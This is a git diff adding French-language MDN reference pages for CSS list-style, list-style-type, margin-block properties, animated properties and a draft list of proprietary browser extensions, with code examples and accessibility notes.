+ </ul>
+ </dd>
+ <dt><code>ethiopic-halehame-ti-et</code></dt>
+ <dt><code>-moz-ethiopic-halehame-ti-et</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-ethiopic-halehame-ti-et;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>hangul</code></dt>
+ <dt><code>-moz-hangul</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-hangul;">
+  <li>Exemple</li>
+  <li>Exemple</li>
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>hangul-consonant</code></dt>
+ <dt><code>-moz-hangul-consonant</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-hangul-consonant;">
+  <li>Exemple</li>
+  <li>Exemple</li>
+  <li>Exemple</li>
+ </ul>
+ </dd>
+ <dt><code>urdu</code></dt>
+ <dt><code>-moz-urdu</code></dt>
+ <dd>
+ <ul style="list-style-type: -moz-urdu;">
+  <li>Exemple</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">ol.normal {
+  list-style-type: upper-alpha;
+}
+
+/* on peut aussi utiliser la propriété raccourcie */
+/* "list-style": */
+ol.shortcut {
+  list-style: upper-alpha;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ol class="normal"&gt;Liste 1
+  &lt;li&gt;Coucou&lt;/li&gt;
+  &lt;li&gt;Monde&lt;/li&gt;
+  &lt;li&gt;Comment ça va ?&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;ol class="shortcut"&gt;Liste 2
+  &lt;li&gt;On a&lt;/li&gt;
+  &lt;li&gt;le&lt;/li&gt;
+  &lt;li&gt;même&lt;/li&gt;
+  &lt;li&gt;résultat&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","300")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Le lecteur d'écran <a href="https://help.apple.com/voiceover/info/guide/">VoiceOver</a> n'annonce pas, incorrectement, les listes non ordonnées lorsque <code>list-style-type:none</code> leur est appliqué. Pour pallier ce problème, on peut ajouter un <a href="https://fr.wikipedia.org/wiki/Espace_sans_chasse">espace sans chasse</a> comme <a href="/fr/docs/Web/CSS/content">pseudo-contenu</a> avant chaque élément de liste afin que la liste soit correctement annoncée.</p>
+
+<pre class="brush: css">ul {
+  list-style-type: none;
+}
+
+ul li::before {
+  content: "\200B";
+}
+</pre>
+
+<ul>
+ <li><a href="https://unfetteredthoughts.net/2017/09/26/voiceover-and-list-style-type-none/">VoiceOver et <code>list-style-type: none</code> – Unfettered Thoughts (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">Comprendre les règles WCAG 1.3</a></li>
+ <li><em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html" rel="noopener">Understanding Success Criterion 1.3.1, W3C Understanding WCAG 2.0 </a></em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html" rel="noopener">(en anglais)</a></li>
+</ul>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>Pour certains types, il est nécessaire d'avoir une police correspondante installée pour que l'affichage fonctionne.</li>
+ <li>Pour des raisons historiques, <code>cjk-ideographic</code> est synonyme de <code>trad-chinese-informal</code>.</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#extending-css2', 'list-style-type')}}</td>
+   <td>{{Spec2("CSS3 Counter Styles")}}</td>
+   <td>Les compteurs CSS2.1 sont redéfinis.<br>
+    La syntaxe est étendue pour prendre en charge les règles <code>@counter-style</code>.<br>
+    Définition des types : <code>hebrew</code>, <code>cjk-ideographic</code>, <code>hiragana</code>, <code>hiragana-iroha</code>, <code>katakana</code>, <code>katakana-iroha</code>, <code>japanese-formal</code>, <code>japanese-informal</code>, <code>simp-chinese-formal</code>, <code>trad-chinese-formal</code>, <code>simp-chinese-formal</code>, <code>trad-chinese-formal</code>,<code>korean-hangul-formal</code>, <code>korean-hanja-informal</code>, <code>korean-hanja-formal</code>, <code>cjk-decimal</code>, <code>ethiopic-numeric</code>, <code>disclosure-open</code> et <code>disclosure-closed</code>.<br>
+    <code>&lt;counter-style&gt;</code> est étendu avec la notation fonctionnelle <code>symbols()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Lists', '#propdef-list-style-type', 'list-style-type')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td>La syntaxe est modifiée pour prendre en charge les identifiants utilisés avec les règles <code>@counter-style</code>.<br>
+    Prise en charge du type <code>&lt;string&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#propdef-list-style-type', 'list-style-type')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>
+    <p>Définition initiale.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.list-style-type")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("list-style")}}</li>
+ <li>{{cssxref("list-style-image")}}</li>
+ <li>{{cssxref("list-style-position")}}</li>
+</ul>
diff --git a/files/fr/web/css/list-style/index.html b/files/fr/web/css/list-style/index.html
new file mode 100644
index 0000000000..19fcbef3f3
--- /dev/null
+++ b/files/fr/web/css/list-style/index.html
@@ -0,0 +1,155 @@
+---
+title: list-style
+slug: Web/CSS/list-style
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/list-style
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>list-style</code></strong> est une <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">propriété raccourcie</a> qui permet de définir {{cssxref("list-style-type")}}, {{cssxref("list-style-image")}} et {{cssxref("list-style-position")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/list-style.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette propriété s'applique aux éléments d'une liste (c'est-à-dire aux éléments pour lesquels {{cssxref("display")}}<code>: list-item</code><code>;</code>}}). Par défaut, cela inclut les éléments {{HTMLElement("li")}}. Cette propriété peut être héritée par les éléments et si on veut donc gérer une liste de façon uniforme, on pourra appliquer la propriété à l'élément parent (qui correspond en général à {{HTMLElement("ol")}} ou à {{HTMLElement("ul")}}).</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Type */
+list-style: square;
+
+/* Image */
+list-style: url('../img/etoile.png');
+
+/* Position */
+list-style: inside;
+
+/* type | position */
+list-style: georgian inside;
+
+/* type | image | position */
+list-style: lower-roman url('../img/etoile.png') outside;
+
+list-style: none;
+
+/* Valeurs globales */
+list-style: inherit;
+list-style: initial;
+list-style: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Cette propriété raccourcie peut prendre un, deux ou trois mots-clés, dans n'importe quel ordre. Si {{cssxref("list-style-type")}} et {{cssxref("list-style-image")}} sont tous les deux définis, <code>list-style-type</code> sera utilisé si l'image est indisponible.</p>
+
+<dl>
+ <dt><code>&lt;'list-style-type'&gt;</code></dt>
+ <dd>Voir {{cssxref("list-style-type")}}</dd>
+ <dt><code>&lt;'list-style-image'&gt;</code></dt>
+ <dd>Voir {{cssxref("list-style-image")}}</dd>
+ <dt><code>&lt;'list-style-position'&gt;</code></dt>
+ <dd>Voir {{cssxref("list-style-position")}}</dd>
+ <dt><code>none</code></dt>
+ <dd>Aucun style n'est utilisé.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.un {
+  list-style: circle;
+}
+
+.deux {
+  list-style: square inside;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">Liste 1
+&lt;ul class="un"&gt;
+  &lt;li&gt;Élément 1&lt;/li&gt;
+  &lt;li&gt;Élément 2&lt;/li&gt;
+  &lt;li&gt;Élément 3&lt;/li&gt;
+&lt;/ul&gt;
+Liste 2
+&lt;ul class="deux"&gt;
+  &lt;li&gt;Élément A&lt;/li&gt;
+  &lt;li&gt;Élément B&lt;/li&gt;
+  &lt;li&gt;Élément C&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples','auto', 220)}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Safari ne reconnait pas (incorrectement) les listes non ordonnées lorsque <code>list-style:none</code> leur est appliqué et ne les ajoute pas dans l'arbre d'accessibilité (utilisé par les lecteurs d'écrans). Pour pallier ce problème, on peut ajouter un <a href="https://fr.wikipedia.org/wiki/Espace_sans_chasse">espace sans chasse</a> comme <a href="/fr/docs/Web/CSS/content">pseudo-contenu</a> avant chaque élément de liste afin que la liste soit correctement annoncée.</p>
+
+<pre class="brush: css">ul {
+  list-style: none;
+}
+
+ul li::before {
+  content: "\200B";
+}
+</pre>
+
+<ul>
+ <li><a href="https://unfetteredthoughts.net/2017/09/26/voiceover-and-list-style-type-none/">VoiceOver et <code>list-style-type: none</code> – Unfettered Thoughts (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">Comprendre les règles WCAG 1.3</a></li>
+ <li><em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html" rel="noopener">Understanding Success Criterion 1.3.1, W3C Understanding WCAG 2.0 </a></em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html" rel="noopener">(en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Lists', '#list-style-property', 'list-style')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#propdef-list-style', 'list-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.list-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("list-style-type")}}</li>
+ <li>{{cssxref("list-style-image")}}</li>
+ <li>{{cssxref("list-style-position")}}</li>
+</ul>
diff --git a/files/fr/web/css/liste_de_fonctionnalités_css_propriétaires/index.html b/files/fr/web/css/liste_de_fonctionnalités_css_propriétaires/index.html
new file mode 100644
index 0000000000..2c88258187
--- /dev/null
+++ b/files/fr/web/css/liste_de_fonctionnalités_css_propriétaires/index.html
@@ -0,0 +1,173 @@
+---
+title: Liste de fonctionnalités CSS propriétaires
+slug: Web/CSS/Liste_de_Fonctionnalités_CSS_Propriétaires
+tags:
+  - CSS
+  - Draft
+  - NeedsContent
+translation_of: Web/CSS/List_of_Proprietary_CSS_Features
+---
+<p>{{CSSRef}}{{Draft}}</p>
+
+<div class="note">
+<p><strong>Note : Cette page est un brouillon et son contenu est incomplet voire obsolète. À lire avec un œil critique.</strong></p>
+</div>
+
+<div class="warning">
+<p><strong>Attention !</strong> Cette page est incomplète et n'est pas à jour. Se référer aux pages suivantes pour plus d'informations :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">Les extensions Microsoft à CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Extensions_Mozilla">Les extensions Mozilla à CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Reference/Extensions_WebKit">Les extensions WebKit à CSS</a></li>
+</ul>
+</div>
+
+<div style="margin: 1em 0px; padding: 1em; background-color: rgb(255, 255, 204); text-align: center;"><strong>BROUILLON</strong>
+
+<div style="font-size: x-small;">Cette page est incomplète.</div>
+</div>
+
+<p>Cette liste contient les extensions propriétaires des CSS en fonction des moteurs des différents navigateurs ; il ne s'agit pas des implémentations expérimentales des fonctionnalités en cours de standardisation (voir <a href="/fr/docs/Web/CSS/Implémentation_des_Brouillons_CSS" title="en/CSS/Draft_Implementations_of_CSS_Features">Implémentation des fonctionnalités CSS à l'état de brouillon</a> pour une liste de ces dernières).</p>
+
+<h2 id="Gecko">Gecko</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<ul>
+ <li>{{ Cssxref("-moz-force-broken-image-icon") }}</li>
+ <li>{{ Cssxref("-moz-image-region") }}</li>
+ <li>{{ Cssxref("-moz-margin-end") }}</li>
+ <li>{{ Cssxref("-moz-margin-start") }}</li>
+ <li>{{ Cssxref("-moz-orient") }}</li>
+ <li>{{ Cssxref("-moz-padding-end") }}</li>
+ <li>{{ Cssxref("-moz-padding-start") }}</li>
+ <li>{{ Cssxref("-moz-stack-sizing") }}</li>
+ <li>{{ Cssxref("-moz-window-shadow") }}</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<h4 id="cssxref(background-image)">{{ cssxref("background-image") }}</h4>
+
+<ul>
+ <li>Portions d'images
+  <ul>
+   <li>{{ cssxref("-moz-image-rect") }}</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Pseudo-éléments_et_pseudo-classes">Pseudo-éléments et pseudo-classes</h3>
+
+<p>...</p>
+
+<h3 id="Règles_At">Règles At</h3>
+
+<p>...</p>
+
+<h3 id="Requêtes_de_média">Requêtes de média</h3>
+
+<p>...</p>
+
+<h3 id="Autres">Autres</h3>
+
+<p>...</p>
+
+<h2 id="Opera">Opera</h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>...</p>
+
+<h3 id="Valeurs_2">Valeurs</h3>
+
+<h4 id="cssxref(background-image)_2">{{ cssxref("background-image") }}</h4>
+
+<ul>
+ <li>{{ cssxref("-o-double-rainbow") }}</li>
+</ul>
+
+<h3 id="Pseudo-éléments_et_pseudo-classes_2">Pseudo-éléments et pseudo-classes</h3>
+
+<p>...</p>
+
+<h3 id="Règles_At_2">Règles At</h3>
+
+<p>...</p>
+
+<h3 id="Requêtes_de_média_2">Requêtes de média</h3>
+
+<p>...</p>
+
+<h3 id="Autres_2">Autres</h3>
+
+<p>...</p>
+
+<h2 id="Trident_(IE)">Trident (IE)</h2>
+
+<h3 id="Propriétés_3">Propriétés</h3>
+
+<ul>
+ <li>{{ cssxref("-ms-accelerator") }}</li>
+</ul>
+
+<h3 id="Valeurs_3">Valeurs</h3>
+
+<p>...</p>
+
+<h3 id="Pseudo-éléments_et_pseudo-classes_3">Pseudo-éléments et pseudo-classes</h3>
+
+<p>...</p>
+
+<h3 id="Règles_At_3">Règles At</h3>
+
+<p>...</p>
+
+<h3 id="Requêtes_de_média_3">Requêtes de média</h3>
+
+<p>...</p>
+
+<h3 id="Autres_3">Autres</h3>
+
+<p>...</p>
+
+<h2 id="WebKit">WebKit</h2>
+
+<h3 id="Propriétés_4">Propriétés</h3>
+
+<ul>
+ <li>{{ Cssxref("-webkit-box-reflect") }}</li>
+ <li>{{ Cssxref("-webkit-mask") }}</li>
+ <li>{{ Cssxref("-webkit-mask-attachment") }}</li>
+ <li>{{ Cssxref("-webkit-mask-composite") }}</li>
+ <li>{{ Cssxref("-webkit-mask-image") }}</li>
+ <li>{{ Cssxref("-webkit-mask-origin") }}</li>
+ <li>{{ Cssxref("-webkit-mask-repeat") }}</li>
+ <li>{{ Cssxref("-webkit-tap-highlight-color") }}</li>
+ <li>{{ Cssxref("-webkit-text-decorations-in-effect") }}</li>
+ <li>{{ Cssxref("-webkit-text-stroke") }}</li>
+ <li>{{ Cssxref("-webkit-text-stroke-color") }}</li>
+ <li>{{ Cssxref("-webkit-text-stroke-width") }}</li>
+ <li>{{ Cssxref("-webkit-touch-callout") }}</li>
+</ul>
+
+<h3 id="Valeurs_4">Valeurs</h3>
+
+<p>...</p>
+
+<h3 id="Pseudo-éléments_et_pseudo-classes_4">Pseudo-éléments et pseudo-classes</h3>
+
+<p>...</p>
+
+<h3 id="Règles_At_4">Règles At</h3>
+
+<p>...</p>
+
+<h3 id="Requêtes_de_média_4">Requêtes de média</h3>
+
+<p>...</p>
+
+<h3 id="Autres_4">Autres</h3>
+
+<p>...</p>
diff --git a/files/fr/web/css/liste_propriétés_css_animées/index.html b/files/fr/web/css/liste_propriétés_css_animées/index.html
new file mode 100644
index 0000000000..e3927a94d8
--- /dev/null
+++ b/files/fr/web/css/liste_propriétés_css_animées/index.html
@@ -0,0 +1,17 @@
+---
+title: Liste des propriétés CSS animées
+slug: Web/CSS/Liste_propriétés_CSS_animées
+tags:
+  - Animations
+  - CSS
+  - Reference
+  - Transitions
+translation_of: Web/CSS/CSS_animated_properties
+---
+<div>{{CSSRef}}</div>
+
+<p>Certaines propriétés CSS peuvent être animées. Cela signifie que leur valeur change de façon graduelle grâce aux <a href="/fr/docs/Web/CSS/CSS_Animations">animations CSS</a> ou aux <a href="/fr/docs/Web/CSS/CSS_Transitions">transitions CSS</a>.</p>
+
+<p>Voici la liste des propriétés qui peuvent être animées :</p>
+
+<p>{{CSSAnimatedProperties}}</p>
diff --git a/files/fr/web/css/margin-block-end/index.html b/files/fr/web/css/margin-block-end/index.html
new file mode 100644
index 0000000000..2634d401ec
--- /dev/null
+++ b/files/fr/web/css/margin-block-end/index.html
@@ -0,0 +1,113 @@
+---
+title: margin-block-end
+slug: Web/CSS/margin-block-end
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/margin-block-end
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>margin-block-end</code></strong> définit la marge logique appliquée à la fin des éléments de bloc, selon le mode d'écriture, la directionnalité et l'orientation du texte. Selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}, elle peut correspondre à {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} ou {{cssxref("margin-left")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-block-end.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété est à rapprocher de {{cssxref("margin-block-start")}}, {{cssxref("margin-inline-end")}} et de {{cssxref("margin-inline-start")}} qui définissent les autres marges appliquées à l'élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+margin-block-end: 10px;      /* Une longueur absolue */
+margin-block-end: 1em;       /* Une longueur relative à la taille du texte */
+margin-block-end: 5%;        /* Une largeur relative à la
+                                   largeur du bloc englobant */
+
+/* Valeurs avec un mot-clé */
+margin-block-end: auto;
+
+/* Valeurs globales */
+margin-block-end: inherit;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>margin-block-end</code> peut prendre les mêmes valeurs que la propriété {{cssxref("margin-left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  margin-block-end: 20px;
+  background-color: #c8c800;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-margin-block-end", "margin-block-end")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.margin-block-end")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("margin-top")}},</li>
+   <li>{{cssxref("margin-right")}},</li>
+   <li>{{cssxref("margin-bottom")}}</li>
+   <li>{{cssxref("margin-left")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}</li>
+ <li>{{cssxref("direction")}}</li>
+ <li>{{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/margin-block-start/index.html b/files/fr/web/css/margin-block-start/index.html
new file mode 100644
index 0000000000..d7ead1802d
--- /dev/null
+++ b/files/fr/web/css/margin-block-start/index.html
@@ -0,0 +1,113 @@
+---
+title: margin-block-start
+slug: Web/CSS/margin-block-start
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/margin-block-start
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>margin-block-start</code></strong> définit la marge logique appliquée au début des éléments en bloc, selon le mode d'écriture, la directionalité et l'orientation du texte. Selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}, elle peut correspondre à {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} ou {{cssxref("margin-left")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-block-start.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété est à rapprocher de {{cssxref("margin-inline-start")}}, {{cssxref("margin-block-end")}} et de {{cssxref("margin-inline-end")}} qui définissent les autres marges appliquées à l'élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css  no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+margin-block-start: 10px;      /* Une longueur absolue */
+margin-block-start: 1em;       /* Une longueur relative à la taille du texte */
+margin-block-start: 5%;        /* Une largeur relative à la
+                                   largeur du bloc englobant */
+
+/* Valeurs avec un mot-clé */
+margin-block-start: auto;
+
+/* Valeurs globales */
+margin-block-start: inherit;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>margin-block-start</code> peut prendre les mêmes valeurs que la propriété {{cssxref("margin-left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  margin-block-start: 20px;
+  background-color: #c8c800;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-margin-block-start", "margin-block-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.margin-block-start")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("margin-top")}},</li>
+   <li>{{cssxref("margin-right")}},</li>
+   <li>{{cssxref("margin-bottom")}}</li>
+   <li>{{cssxref("margin-left")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}</li>
+ <li>{{cssxref("direction")}}</li>
+ <li>{{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/margin-block/index.html b/files/fr/web/css/margin-block/index.html
new file mode 100644
index 0000000000..8d7482ceae
--- /dev/null
+++ b/files/fr/web/css/margin-block/index.html
@@ -0,0 +1,103 @@
+---
+title: margin-block
+slug: Web/CSS/margin-block
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/margin-block
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>margin-block</code></strong> définit la marge sur les côtés de l'élément qui sont ceux de l'axe de bloc. Cette propriété logique peut correspondre à différentes marges selon le mode d'écriture de l'élément, sa direction ou l'orientation du texte. Autrement dit, cette propriété peut correspondre aux propriétés {{cssxref("margin-top")}} et {{cssxref("margin-bottom")}} ou à   {{cssxref("margin-right")}} et {{cssxref("margin-left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+margin-block: 10px 20px;  /* Une longueur absolue */
+margin-block: 1em 2em;    /* Une longueur relative à la taille du texte */
+margin-block: 5% 2%;      /* Une longueur relative à la largeur ou hauteur du bloc englobant */
+margin-block: 10px;       /* Une valeur utilisée pour les deux côtés */
+
+/* Valeurs avec un mot-clé */
+margin-block: auto;
+
+/* Valeurs globales */
+margin-block: inherit;
+margin-block: initial;
+margin-block: unset;
+</pre>
+
+<p>Cette propriété est une propriété raccourcie pour les deux propriétés logiques {{cssxref("margin-block-start")}} et {{cssxref("margin-block-end")}}. Pour régler les marges selon l'axe en ligne, on pourra utiliser la propriété logique raccourcie {{cssxref("margin-inline")}} qui correspond aux propriétés {{cssxref("margin-inline-start")}} et {{cssxref("margin-inline-end")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>margin-block</code> peut prendre les mêmes valeurs que la propriété {{cssxref("margin-left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
